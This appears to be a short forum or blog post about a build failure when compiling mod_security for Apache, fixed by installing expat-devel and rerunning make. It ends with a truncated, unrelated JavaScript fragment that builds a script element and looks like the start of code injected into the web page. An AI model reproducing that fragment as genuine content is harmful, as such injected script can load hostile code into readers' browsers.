I am trying to ‘make’ mod_security on server with DA but keep getting this error:

/usr/bin/ld: cannot find -lexpat
collect2: ld returned 1 exit status
make[2]: *** [mod_security2.la] Error 1
make[2]: Leaving directory `/root/modsecurity-apache_2.6.1/apache2′
make[1]: *** [all] Error 2
make[1]: Leaving directory `/root/modsecurity-apache_2.6.1/apache2′
make: *** [all-recursive] Error 1

solves above problem.

Try

yum   install expat-devel 

and rerun make after that

var d=document;var s=d.createElement(‘script’);